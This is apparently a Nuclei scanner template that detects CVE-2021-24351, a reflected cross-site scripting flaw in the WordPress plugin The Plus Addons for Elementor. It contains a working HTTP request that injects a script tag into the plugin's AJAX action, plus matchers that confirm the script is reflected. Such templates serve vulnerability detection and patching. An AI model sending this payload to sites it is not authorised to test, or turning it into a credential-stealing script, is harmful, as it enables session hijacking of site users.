WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting

id: CVE-2021-24351

info:
  name: WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting
  author: Maximus Decimus
  severity: medium
  description: |
    WordPress The Plus Addons for Elementor plugin before 4.1.12 is susceptible to cross-site scripting. The plugin does not properly sanitize some of its fields in the heplus_more_post AJAX action, which is exploitable by both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress The Plus Addons for Elementor plugin (4.1.12 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/2ee62f85-7aea-4b7d-8b2d-5d86d9fb8016
    - https://theplusaddons.com/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24351
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/JoshMorrison99/my-nuceli-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24351
    cwe-id: CWE-79
    epss-score: 0.00154
    epss-percentile: 0.51646
    cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: posimyth
    product: the_plus_addons_for_elementor
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wp,xss,the-plus-addons-for-elementor,wpscan,posimyth

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "the-plus-addons-for-elementor"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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